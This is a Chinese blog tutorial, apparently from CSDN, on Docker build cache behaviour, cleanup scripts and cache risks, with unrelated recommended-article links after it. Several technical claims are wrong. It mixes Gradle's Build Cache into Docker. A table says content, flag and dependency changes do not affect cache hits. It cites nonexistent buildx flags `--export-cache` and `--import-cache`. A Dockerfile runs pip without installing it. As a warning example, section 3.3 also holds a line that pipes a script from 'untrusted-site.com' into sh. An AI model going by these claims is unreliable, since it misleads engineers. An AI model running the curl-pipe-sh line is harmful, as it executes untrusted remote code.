【Docker 高级运维必修课】:彻底搞懂 Build Cache 清理机制与风险规避

第一章:Docker高级运维中的构建缓存挑战

在Docker高级运维中,构建缓存机制虽能显著提升镜像构建效率,但在复杂生产环境中也带来了不可忽视的挑战。当多阶段构建、频繁依赖变更与并行CI/CD流水线交织时,缓存的不确定性可能导致构建结果不一致,甚至引入隐蔽缺陷。

构建缓存的工作机制

Docker通过逐层比对构建上下文和指令来命中缓存。一旦某一层发生变化,其后续所有层将失效。例如:
# Dockerfile 示例
FROM alpine:3.18
COPY ./src /app/src
RUN apk add --no-cache python3  # 若 src 目录变化,此层及之后层缓存失效
WORKDIR /app
RUN pip install -r requirements.txt
CMD ["python", "main.py"]
上述示例中,COPY ./src 的变更会使得依赖安装层无法复用,即使 requirements.txt 未变,造成重复下载与构建延迟。

常见缓存问题与应对策略

  • 缓存污染:旧镜像残留导致意外命中,应定期清理构建缓存
  • 伪命中:构建上下文微小差异导致缓存失效,建议规范文件结构与拷贝顺序
  • 跨平台缓存不兼容:在ARM与AMD架构间共享缓存可能失败,需启用Buildx多平台支持

优化缓存命中的实践建议

策略说明
分层细化将不变依赖置于上层,如先拷贝 package.json 再安装
使用.dockerignore排除无关文件,减少上下文变动触发缓存失效
显式禁用缓存使用 --no-cache 参数确保构建纯净性
graph LR A[开始构建] --> B{缓存存在?} B -->|是| C[复用该层] B -->|否| D[执行指令生成新层] C --> E[继续下一层] D --> E E --> F{完成?} F -->|否| B F -->|是| G[输出最终镜像]

第二章:深入理解Next-gen Docker Build缓存机制

2.1 Build Cache的工作原理与存储结构

Build Cache 是 Gradle 提升构建效率的核心机制之一,其核心思想是通过缓存任务的输入与输出,避免重复执行相同任务。每当一个构建任务执行时,Gradle 会计算其输入(如源文件、依赖项、参数)的哈希值,并以此作为缓存键查找已有输出。
缓存键与存储映射
缓存命中依赖于精确的输入快照。Gradle 使用 SHA-256 算法生成输入哈希,确保唯一性。若缓存中存在对应哈希的输出,则直接复用。

tasks.register<Copy>("cachedCopy") {
    from("src/main/resources")
    into("build/resources")
    inputs.property("version", "1.0")
}
上述任务将 version 作为输入属性参与哈希计算,变更后将触发重新执行。
本地与远程存储结构
Build Cache 支持本地磁盘和远程二进制存储(如 HTTP 缓存服务器)。数据以哈希为键,按目录分片存储,防止单目录文件过多。
存储类型路径结构典型用途
本地缓存.gradle/caches/build-cache-1/开发者机器加速
远程缓存http://cache.example.com/gradle-cache/CI/CD 共享构建结果

2.2 构建层哈希计算逻辑与命中条件分析

在构建系统中,哈希值是判断缓存命中的核心依据。构建层通过对输入文件内容、构建参数及依赖关系进行综合哈希计算,生成唯一标识。
哈希计算范围
参与哈希计算的关键因素包括:
  • 源文件的内容(如 .go、.js 等)
  • 构建命令行参数(如编译选项)
  • 依赖库的版本哈希
  • 环境变量(若影响构建结果)
代码示例:Go 构建哈希生成
// 伪代码:计算构建单元哈希
func ComputeBuildHash(inputs []File, deps []string, flags BuildFlags) string {
    h := sha256.New()
    for _, f := range inputs {
        io.WriteString(h, f.Path + string(f.Content))
    }
    for _, d := range deps {
        io.WriteString(h, d) // 依赖哈希
    }
    io.WriteString(h, flags.String())
    return hex.EncodeToString(h.Sum(nil))
}
上述函数遍历所有输入文件和依赖项,将其内容与构建参数一并写入哈希器,最终输出 SHA-256 哈希值。只有当所有输入完全一致时,哈希才相同,确保缓存精确性。
命中条件判定
条件是否影响命中
文件内容变更否
构建参数调整否
依赖版本更新否
时间戳变化是(若不纳入哈希)

2.3 多阶段构建中的缓存复用策略

在多阶段构建中,合理利用缓存可显著提升镜像构建效率。通过将依赖安装与应用编译分离到不同阶段,Docker 可复用未变更阶段的缓存层。
构建阶段划分示例
FROM golang:1.21 AS builder
WORKDIR /app
COPY go.mod .
RUN go mod download
COPY . .
RUN go build -o main .

FROM alpine:latest
WORKDIR /root/
COPY --from=builder /app/main .
CMD ["./main"]
上述 Dockerfile 中,go mod download 阶段独立于源码复制,当 go.mod 未变更时,该层缓存可被复用,避免重复下载依赖。
缓存命中优化建议
  • 优先复制声明文件(如 package.json、go.mod)
  • 将变动频繁的操作置于构建流程后段
  • 使用一致的基础镜像标签以稳定缓存基线

2.4 利用--cache-from实现跨主机缓存共享

在多主机或CI/CD环境中,Docker镜像构建的效率直接影响部署速度。通过--cache-from参数,可指定远程镜像作为缓存源,实现跨主机的构建缓存复用。
基本使用方式
docker build --cache-from myorg/app:latest -t myorg/app:v1 .
该命令在构建时拉取myorg/app:latest镜像的层作为缓存基础,显著减少重复构建时间。
CI环境中的实践
  • 每次构建前拉取上一版本镜像作为缓存源
  • 推送新镜像后自动更新缓存标签
  • 结合私有Registry实现企业级缓存共享
此机制依赖镜像内容寻址,确保只有匹配的层被复用,安全且高效。

2.5 实验功能buildx与远程缓存后端集成

Docker Buildx 作为 Docker 的实验性构建工具,扩展了原生 build 命令的能力,支持多架构构建和远程缓存。通过集成远程缓存后端,可显著提升 CI/CD 中镜像构建效率。
启用 Buildx 构建器实例
# 创建并切换到新的构建器
docker buildx create --use --name mybuilder

# 启动构建器实例
docker buildx inspect --bootstrap
该命令初始化一个支持多架构的构建环境,为后续缓存配置奠定基础。
配置远程缓存输出
使用 `--cache-to` 和 `--cache-from` 指定远程缓存位置,例如指向本地目录或OCI兼容注册中心:
docker buildx build \
  --cache-to type=registry,ref=example.com/cache:latest \
  --cache-from type=registry,ref=example.com/cache:latest \
  --output type=image \
  --tag example/app:latest .
参数说明:`type=registry` 表示缓存存储在镜像仓库中,`ref` 指定缓存元数据的引用地址,实现跨节点构建缓存共享。

第三章:缓存清理的触发场景与潜在风险

3.1 清理操作的常见诱因与误用案例

在系统维护过程中,数据清理常因存储压力、性能下降或合规要求被触发。然而,不当的清理策略可能导致关键数据丢失。
常见的误用场景
  • 未验证备份完整性即执行删除
  • 在业务高峰期运行大规模清理任务
  • 缺乏审计日志记录,导致操作不可追溯
代码示例:带保护机制的清理脚本
#!/bin/bash
# 清理7天前的日志,但保留至少10GB空间
find /var/log -name "*.log" -mtime +7 -exec ls -l {} \; | awk '{if (total <= 10*1024*1024) {print $9; total+=$5}}' | xargs rm -f
该脚本通过find定位旧日志文件,结合awk累计文件大小,在确保不超出预设阈值的前提下进行删除,避免过度清理引发服务异常。

3.2 缓存失效对CI/CD流水线的影响评估

缓存机制在加速CI/CD流程中起着关键作用,但缓存失效可能引发构建不一致、依赖重下载和部署延迟等问题。
常见缓存失效场景
  • 源码依赖版本更新但缓存未刷新
  • 跨平台构建时缓存兼容性问题
  • 共享缓存被并发流水线覆盖或污染
构建时间对比分析
场景平均构建时间依赖下载量
缓存命中2.1 min56 MB
缓存失效6.8 min1.2 GB
优化策略示例

# GitHub Actions 缓存键优化
- uses: actions/cache@v3
  with:
    path: ./node_modules
    key: ${{ runner.os }}-npm-${{ hashFiles('package-lock.json') }}
    restore-keys: |
      ${{ runner.os }}-npm-
通过基于 lock 文件生成哈希键,确保依赖一致性。key 变化时触发重新缓存,避免因文件内容变更导致的隐性构建错误。restore-keys 提供降级匹配机制,提升缓存复用率。

3.3 镜像一致性破坏与安全漏洞引入风险

在容器化环境中,镜像一旦构建完成,其内容应保持不可变性。然而,在实际分发与部署过程中,若缺乏严格的校验机制,极易导致镜像一致性被破坏。
完整性校验缺失的后果
未使用签名或哈希验证的镜像可能在传输中被篡改,攻击者可注入恶意代码。例如,以下 Dockerfile 片段存在风险:

FROM ubuntu:20.04
RUN apt-get update && apt-get install -y curl
RUN curl http://untrusted-site.com/malware.sh | sh
该脚本直接执行远程未加密脚本,无法保证内容一致性,且易受中间人攻击。
安全加固建议
  • 启用镜像签名机制(如 Docker Content Trust)
  • 使用私有镜像仓库并配置访问控制
  • 在 CI/CD 流程中集成静态扫描工具
通过强制实施镜像签名和哈希校验,可有效防止一致性破坏,降低供应链攻击风险。

第四章:安全高效的缓存管理实践

4.1 基于buildx的精细化缓存导出与导入

Docker Buildx 提供了强大的多架构构建能力,同时支持将构建过程中的中间层缓存导出为独立对象,实现跨环境复用。
缓存导出模式配置
Buildx 支持多种缓存类型,其中 export-cache 可将构建缓存上传至远程仓库:
docker buildx build \
  --platform linux/amd64,linux/arm64 \
  --export-cache type=registry,ref=example.com/app:cache \
  -t example.com/app:latest .
上述命令中,--export-cache 指定缓存以镜像形式推送到注册表,ref 定义缓存存储路径,便于后续构建快速拉取。
缓存导入复用
在后续构建中通过 --import-cache 复用已有缓存层:
docker buildx build \
  --import-cache type=registry,ref=example.com/app:cache \
  --platform linux/amd64 ...
该机制显著减少重复构建时间,尤其适用于 CI/CD 流水线中频繁构建的场景。

4.2 定期清理策略与自动化脚本设计

在高频率数据写入的系统中,磁盘空间管理至关重要。制定合理的定期清理策略可有效防止存储溢出,保障服务稳定性。
清理策略设计原则
  • 按时间窗口保留:如仅保留最近7天的数据
  • 按大小阈值触发:当目录占用超过设定阈值时启动清理
  • 分级归档机制:热数据保留在主存储,冷数据迁移至低成本存储
自动化Shell脚本示例
#!/bin/bash
# 自动清理超过7天的日志文件
find /var/log/app -name "*.log" -mtime +7 -delete
该命令通过 find 定位指定目录下修改时间早于7天的日志文件,并执行删除操作。参数 -mtime +7 表示“7天前”,-delete 启用删除动作,避免使用管道传递给 rm 带来的安全风险。

4.3 使用registry清理工具回收未引用构件

在容器镜像管理中,随着版本迭代,镜像仓库常积累大量未被引用的构件,占用存储资源。使用 registry 清理工具可有效识别并删除这些孤立层和 manifest。
常见清理工具选择
主流工具包括 Docker Distribution 的 garbage-collection 功能和开源项目 reg。执行前需确保 registry 处于只读或维护模式,防止数据竞争。

# 执行垃圾回收命令
docker exec registry bin/registry garbage-collect \
  /etc/docker/registry/config.yml --delete-untagged
该命令扫描配置文件指定的存储后端,标记所有无 manifest 引用的 blob 并删除。参数 --delete-untagged 确保未打标签的镜像也被清理。
清理流程安全控制
  • 备份 registry 存储目录,防止误删
  • 先运行不带删除操作的扫描模式验证范围
  • 结合 Prometheus 监控磁盘使用趋势

4.4 监控缓存使用率与性能瓶颈定位

监控缓存使用率是保障系统高效运行的关键环节。通过实时采集缓存命中率、内存占用和连接数等核心指标,可及时发现潜在性能瓶颈。
关键监控指标
  • 缓存命中率:反映缓存有效性,低于90%需警惕
  • 内存使用率:接近上限时可能触发频繁淘汰
  • 平均响应延迟:突增往往意味着底层压力升高
Redis监控示例代码

// 获取Redis状态信息
func getRedisStats(conn redis.Conn) map[string]string {
    conn.Send("INFO", "memory")
    conn.Send("INFO", "stats")
    conn.Flush()
    
    memory, _ := redis.String(conn.Receive())
    stats, _ := redis.String(conn.Receive())
    
    return parseInfo([]string{memory, stats})
}
上述代码通过发送INFO命令获取内存与统计信息,批量执行减少网络往返。解析后可用于计算命中率:hits / (hits + misses)。
性能瓶颈定位流程
请求延迟升高 → 检查缓存命中率 → 分析慢查询日志 → 定位热点Key → 优化数据分布

第五章:构建缓存治理的未来演进方向

随着分布式系统复杂度的提升,缓存治理不再局限于性能优化,而是逐步演进为涵盖可观测性、自动化决策与安全合规的综合性体系。现代架构中,缓存策略需动态适配业务负载变化,实现资源利用率与响应延迟的最优平衡。
智能缓存预热机制
在高并发场景下,冷启动导致的缓存击穿问题频发。通过引入基于历史访问模式的机器学习模型,可预测热点数据并提前加载至缓存。例如,在电商大促前,系统自动识别潜在热销商品并预热:

// 基于访问频率预测热点
func PredictHotKeys(accessLog []AccessRecord) map[string]bool {
    freqMap := make(map[string]int)
    for _, log := range accessLog {
        freqMap[log.Key]++
    }
    hotKeys := make(map[string]bool)
    threshold := calculateTopPercentile(freqMap, 95)
    for key, freq := range freqMap {
        if freq > threshold {
            hotKeys[key] = true
        }
    }
    return hotKeys
}
多级缓存协同管理
采用本地缓存(如 Caffeine)与分布式缓存(如 Redis)结合的多级架构,需解决一致性与失效同步问题。常见方案包括:
  • 使用 Redis 的 KeySpace 通知触发本地缓存失效
  • 通过版本号或时间戳控制缓存层级间的数据有效性
  • 引入中央配置中心动态调整 TTL 与刷新策略
缓存治理的可观测性建设
完整的监控体系应覆盖命中率、延迟分布、淘汰速率等核心指标。以下为关键监控项的采集建议:
指标采集方式告警阈值
缓存命中率Redis INFO command + Prometheus< 85%
平均响应延迟应用埋点 + OpenTelemetry> 10ms
内存使用率Redis memory usage> 80%
Ubuntu 14.04 Salt Master/Minion 部署实战:兼容性、安全与幂等性 Salt 是基于 ZeroMQ 和 Python 异步事件驱动的基础设施即代码(IaC)自动化框架,其核心价值在于毫秒级远程执行、声明式状态管理与强幂等性保障。在遗留系统运维场景中,它为 Ubuntu 14.04 等长期支持(LTS)系统提供了安全可控的配置管理能力,规避了 apt 源老旧版本带来的漏洞风险与功能缺失。通过源码编译 Master + 官方 deb 包部署 Minion 的混合方案,可精准锁定 pyzmq、tornado 等关键依赖版本,解决 glibc/SSL 兼容性问题;结合 PKI 认证 阅读详情

相关推荐

Ubuntu 16.04 原生 LAMP 部署 WordPress 的底层原理与生产实践

LAMP 是 WordPress 运行的基础设施底座,其本质是 Linux 操作系统、Apache HTTP 服务器、MySQL 数据库与 PHP 解释器构成的协同契约。理解 Apache 的 MPM 预叉模型、MySQL 的 utf8mb4 字符集约束、PHP 7.0 与 WordPress 4.9.x 的扩展兼容性,是保障站点性能、安全与可维护性的前提。在 Ubuntu 16.04 这一长期服役的政企基线系统上,原生 APT 包管理逻辑决定了配置路径(如 /etc/apache2/mods-enable

cuixie2370的博客 462

docker build 的 cache 机制

docker build 简介 众所周知,一个 Dockerfile 唯一的定义了一个 Docker 镜像。如此依赖,Docker 必须提供一种方式,将 Dockerfile 转换为 Docker 镜像,采用的方式就是 docker build 命令。以如下的 Dockerfile 为例: FROM ubuntu:14.04 RUN apt-get update ADD run.sh...

jeorch的博客 1万+

腾讯云CodingPlan实战指南:开箱即用的DevOps工程化路径

DevOps是现代软件交付的核心范式,其本质在于通过自动化流水线实现代码到服务的可靠、可追溯、可审计转化。腾讯云CodingPlan并非独立产品,而是深度集成CODING DevOps平台与腾讯云IaaS/PaaS服务的一套预置工程实践蓝图,聚焦环境一致性、云原生服务直连与合规性保障三大技术价值。它特别适用于Vue、Spring Boot等主流框架在腾讯云CVM、轻量应用服务器、COS及联络中心等场景的快速落地,有效解决‘腾讯云上传’‘vue项目web端如何接入腾讯云联络外呼’等高频实操断点,为中小团队和云

weixin_34203832的博客 376

docker build高效利用cache

原文链接:docker build高效利用cache 前言 Dockerfile 可以通过docker build命令构建为一个新的镜像,Dockerfile 中每一条命令都会构建出一个新的镜像层。当你重新build相同的Docker时,Docker会逐条语句check自身的cache镜像层,如果命中相同的,就使用cache而不执行这条语句继续往下逐条check直至build完成。Docker...

jeorch的博客 5585

『大模型笔记』Docker如何清理Build Cache以及nvidia/cuda官方镜像!

首先,你可以运行以下命令来清理未使用的镜像、容器、卷和构建缓存:docker image prune -a这些命令应该能够帮助你释放下的大量空间。删除构建缓存的主要影响是下次构建镜像时会变慢,但不会对现有的容器或镜像运行产生负面影响。如果你需要空间,且可以接受稍长的构建时间,删除缓存是一个合理的选择。

AI新视界 1142

深入解析时钟同步技术:相位同步、频率同步与同源时钟的实战应用

本文深入解析时钟同步技术的三种核心方式:相位同步、频率同步与同源时钟,详细阐述其技术原理、实现方案及实战应用。通过对比分析不同同步方式的特点与适用场景,为电子系统设计提供选型指南,帮助工程师优化时钟网络设计,提升系统稳定性和性能。

weixin_29240711的博客 449

清理docker Build Cache缓存文件

使用docker构建镜像,发现docker的overlay2文件会越来越大。可以添加一条自动任务,每月自动清理docker构建缓存。# 每月1日清理docker build的缓存。可以看到已经占用了26.7GB,清理这个缓存。再次查看,已经没有缓存了,清理成功。

星星的博客 2479

从零开始:如何用PSINS工具箱构建你的第一个IMU误差模型

本文详细介绍了如何使用严恭敏教授开发的PSINS工具箱构建IMU误差模型,涵盖从基础参数设置到高级误差建模的全过程。通过imuerrset函数配置陀螺零偏、随机游走等核心参数,并结合实战案例展示消费级MEMS器件的误差建模方法,帮助用户提升惯性导航系统的精度与可靠性。

weixin_29284885的博客 322

Docker Build Cache 缓存清理

可以用于清理磁盘,删除关闭的容器、无用的数据卷和网络,以及dangling镜像(即无tag的镜像)。Docker 18.09 引入了 BuildKit ,提升了构建过程的性能、安全、存储管理等能力。注意,这两个命令会把你暂时关闭的容器,以及暂时没有用到的 Docker 镜像都删掉,请注意使用!如果你希望保留最近一定时间的缓存,删除时长更久的缓存,可以通过添加。清理得更加彻底,可以将没有容器使用Docker镜像都删掉。最后的 RECLAIMABLE 这一列表示可回收的大小。

小单的博客专栏 2万+

Blender骨骼绑定实战:如何用IK控制器让角色动作更自然(附常见问题解决)

本文深入探讨了Blender中IK控制器的实战应用,旨在解决角色动作僵硬问题。通过对比IK与FK的核心差异,详细解析了IK链的构建、参数设置及极向目标的使用,并提供了控制器定制、IK/FK无缝切换等高级技巧,帮助动画师实现更自然、符合直觉的角色动画。

weixin_29243279的博客 438

【UE5】三步搞定Pixel Streaming:从零搭建Windows像素流服务

本文详细介绍了如何在Windows平台上快速搭建UE5 Pixel Streaming像素流服务,从插件安装、项目打包到服务启动的全流程操作。通过实战案例和优化配置,帮助开发者实现零客户端配置、跨设备兼容的高性能3D应用流式传输,特别适合建筑可视化和实时协作场景。

weixin_29000991的博客 318

PHP反序列化漏洞深度解析:从原理到实战防御

序列化与反序列化是数据持久化和网络传输中的基础技术,其核心原理是将复杂数据结构转换为可存储或传输的字符串格式,并在需要时还原。这一机制在提升开发效率的同时,也引入了潜在的安全风险,尤其是在PHP等动态语言中。其技术价值在于简化对象状态的保存与恢复,广泛应用于会话管理、缓存系统和远程调用等场景。然而,当反序列化过程处理不可信数据时,可能触发对象中的魔术方法,形成代码执行漏洞,对应用安全构成严重威胁。本文聚焦于PHP反序列化漏洞的成因与防御,深入剖析其利用链,并提供从代码层到架构层的系统性安全加固方案,帮助开发

lvwenwen 364

【报错】raise pickle.UnpicklingError(_get_wo_message(str(e))) from None_pickle.UnpicklingError: Weigh

File "/opt/conda/envs/py_3.12/lib/python3.12/site-packages/torch/serialization.py", line 1470, in load raise pickle.UnpicklingError(_get_wo_message(str(e))) from None _pickle.UnpicklingError: Weights only load failed.

静谧、淡雅 783

生产级机器学习服务架构:解耦、可观测与自动故障自愈

机器学习模型上线并非简单部署,而是涉及服务韧性、实时监控、灰度发布与故障恢复的系统工程。其核心在于将模型推理、特征计算、请求编排与可观测能力分层解耦,避免单点故障蔓延;通过ONNX Runtime等轻量高性能运行时提升GPU资源利用率与推理吞吐;结合输入校验、熵值监控、数据漂移检测等代理健康信号,实现无标签环境下的模型状态感知。该架构支撑电商搜索排序、金融风控等高可用场景,显著降低MTTR并保障大促期间服务稳定性,是MLOps落地中面向真实业务负载的关键实践。

weixin_30378623的博客 429

07 Zabbix 微信告警

Zabbix 微信告警 1.注册企业微信 企业微信注册地址:https://work.weixin.qq.com 2.进入企业微信后台管理 2.1 添加微信成员 2.2创建应用 2.3 获取四项数据 (1)AgentID (2) Secret (3) 企业ID (4)部门ID 3.Zabbix Server配置 3.1确认脚本目录 # grep alertscripts /etc/zabbix/zabbix_server....

Jian Sun_的博客 1297

AUTOSAR知识点:PDUR(PDU Router)基础知识

通过定义路由表和实现相应的路由和缓冲逻辑,PDUR能够确保PDU在不同ECU之间的可靠传输。在上述示例中,我们定义了一个简单的PDUR路由表,其中列出了源ECU和目标ECU之间的映射关系。当收到来自源ECU的PDU时,PDUR模块会根据路由表查找目标ECU,并将PDU传输到相应的目标ECU。PDUR的主要功能是将接收到的PDU从一个ECU路由到另一个ECU,并确保数据的正确传输。需要注意的是,上述示例是一个简化的实现,实际的PDUR模块可能包含更复杂的功能和逻辑。

EcmFsharp的博客 1157

MLOps轻量级落地:从模型部署到监控的最小可行单元

MLOps 是面向机器学习生命周期的工程化方法论,其核心在于解决模型从开发到生产环境的可重现性、可观测性与可持续交付问题。原理上依赖容器化封装、自动化流水线、实验追踪与多层监控四大支柱,技术价值体现在缩短迭代周期、降低运维风险、沉淀组织知识。典型应用场景包括电商销量预测、金融风控模型上线、推荐系统AB测试等需频繁更新与稳定服务的业务系统。本文聚焦轻量级MLOps实践,以Docker+GitHub Actions+MLflow+Prometheus为技术栈,构建覆盖模型部署卡点、监控盲区、实验混乱三大高频痛点

xpmwgcwm的博客 382

基于Matlab的磁力计校准(附源码)

磁力计沿传感器的 X、Y 和 Z 轴检测磁场强度。精确的磁场测量对于传感器融合以及确定航向和方向至关重要。为了用于航向和方向计算,需要校准典型的低成本MEMS磁力计,以补偿环境噪声和制造缺陷。一、理想磁力计理想的三轴磁力计沿正交 X、Y 和 Z 轴测量磁场强度。在没有任何磁干扰的情况下,磁力计读数测量地球磁场。如果在传感器通过所有可能的方向旋转时进行磁力计测量,则测量值应位于球体上。球体的半径是磁场强度。要生成磁场样本,请使用对象。出于这些目的,可以安全地假设每个方向的角速度和加速度为零。

珞瑜的博客 4520

3.Linux基础开发⼯具【由浅入深-Linux】

在 Windows 环境中,我们习惯了双击 或 文件并一路点击“下一步”来安装软件。但在 Linux 的世界里,软件的分发和安装理念有着本质的不同。Linux 强调权限控制、模块化和依赖管理。为了帮您构建完整的 Linux 系统管理知识体系,我们可以将 Linux 下安装软件的方式归纳为五大主流阵营。这是 Linux 下最正统、也是日常使用频率最高的方式。它又细分为“在线仓库安装”和“本地包安装”两种场景。1. 在线仓库安装(如同手机自带的 App Store) 操作系统维护着一个庞大的软件云端仓库。通

插花弄玉的博客 746

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

build cache 清理(Docker 资源管理)

build cache 清理(Docker 资源管理)

消极的人永远是对的,积极的人选择勇往直前 2756

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

docker的缓存机制

在上面的示例中,我们指定了 --cache-from my-app:v1 参数,告诉 Docker 复用之前构建 my-app:v1 时使用的缓存层,这样可以进一步加快构建速度。Docker 会缓存每一个镜像层,当构建新的镜像时,如果检测到某个层之前已经构建过,就会直接复用该层,而不需要重新构建。在上面的示例中,当我们停止并重启容器时,Docker 会复用之前的容器层,避免了重新创建容器的开销,使容器启动速度更快。每个容器都有自己的可写容器层,位于镜像层之上,用于存储容器的动态数据。

CherryXieのblog 2216

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

docker build cache 占用磁盘空间很高

docker 的build cache占用大量磁盘空间解决办法

tingting0119的博客 569

怎样使用docker build cache

简介 docker build的过程需要一段时间,它可能是下载基础镜像,下载和安装依赖包,这就是使用cache的原因。 有关Docker build cache docker是分层构建的,Dockerfile中的每条指令就是一层。 FROM alpine:latest RUN apk add --no-cache bash ADD entrypoint.sh / ENTRYPOINT ["/entrypoint.sh"] 上面的镜像会运行一个脚本,打印当前时间并睡眠60秒。 #!/bin/bash wh

AStranger 3504

Dockerfile详解

然后使用docker history test:1.0和docker history test:2.0这两条命令查看它们每层的镜像ID,会发现test1.0和test:2.0的前五个镜像层的ID一模一样,这也说明了test:2.0的镜像在构建过程中复用了test:1.0的镜像层。Dockerfile 文件内容没有变化,但 RUN 命令的外部依赖发生了变化,例如本例中要安装的 vim 软件源发生了变更(版本变化、下载地址变化等),那么从发生变化的这个指令层开始的所有镜像层 cache 全部失效。

氷的博客 1071

如何清理docker build的缓存

如何清理docker build的缓存

7615

【docker】清理docker系统垃圾文件,节省磁盘空间,保留最新的镜像,使用docker system 命令

尤其是构建前端,构建golang的时候,每次都要下载镜像文件。会有很多的build cache。因为经常需要发布,构建,服务器机器选择从磁盘空间比较少。反而真正的有用的镜像其实占不了多少空间。可以继续使用docker了。同时使用的镜像还在。

freewebsys的专栏 1408
上一篇: Docker GPU资源管理深度实践(动态分配架构全公开)
下一篇: Docker存储类型选型决策图曝光(结构电池数据必看的6个关键指标)
ByteChat
博客等级 码龄1年 157粉丝 1991原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值